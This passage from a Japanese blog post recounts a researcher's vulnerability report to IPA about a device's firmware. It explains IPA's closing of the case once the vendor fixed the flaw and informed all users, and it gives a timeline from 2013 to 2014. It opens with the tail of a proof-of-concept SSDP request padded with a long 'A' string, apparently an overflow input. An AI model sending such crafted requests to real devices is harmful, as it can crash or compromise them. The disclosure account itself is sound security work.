AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:anything Man:"ssdp:discover" MX:3 --- ここまで ----------------------------------------------------
取扱終了となった理由
2014 年 10 月 14 日、IPA から「製品開発者が全ての製品利用者を把握しており本制度の適用範囲に該当せず、かつ全ての製品利用者への対策が完了しているため、本件の取扱いを終了」するとの連絡をいただきました。このとき、情報セキュリティ早期警戒パートナーシップガイドラインの該当箇所も提示いただきました(下記参照)。
すでに脆弱性が修正されており、反論する根拠もなかったため、僕は取扱終了に同意しました。
III.本ガイドラインの適用の範囲 本ガイドラインの適用の範囲は、脆弱性により不特定多数の人々に 被害を及ぼすもので、以下に挙げるものを想定しています。 IV.ソフトウエア製品に係る脆弱性関連情報取扱 3.IPA および JPCERT/CC の対応 (1) IPA 7) 脆弱性関連情報受理後の対応 IPA は、JPCERT/CC に通知した脆弱性関連情報に関して、以下の いずれかに該当する場合、発見者に連絡するとともに、処理を取 りやめることがあります (ウ) 製品開発者がすべての製品利用者に通知する場合(システム 構築事業者を介して通知するケースを含む
報告から取扱終了までの時系列
年月日 | 事柄 |
---|---|
2013/02/05 | IPA に脆弱性情報を報告 |
2013/02/07 | IPA から脆弱性情報を受理したとの連絡をいただく |
2013/05/13 | IPA から脆弱性情報に関する質問をいただく。同日、質問に回答 |
2014/07/07 | ファームウェア Ver.06.01.0019 がリリース |
2014/07/09 | ファームウェア Ver.06.01.0019 で事象が再現しないことを確認 |
2014/07/10 | IPA に対応状況を質問 |
2014/07/25 | IPA から「Ver.06.01.0019で脆弱性が修正されたこと」を連絡いただく。また「製品開発者は当該製品の利用者を全て把握していること」をふまえて、届出の取扱いを検討するとのこと |
2014/09/11 | IPA に検討状況を確認 |
2014/09/12 | IPA および JPCERT/CC にて製品開発者からの「全ての利用者を把握している」正式な連絡内容を確認しているとのこと |
2014/10/14 | IPA から取扱終了の連絡をいただく |
2014/10/19 | 取扱終了に同意 |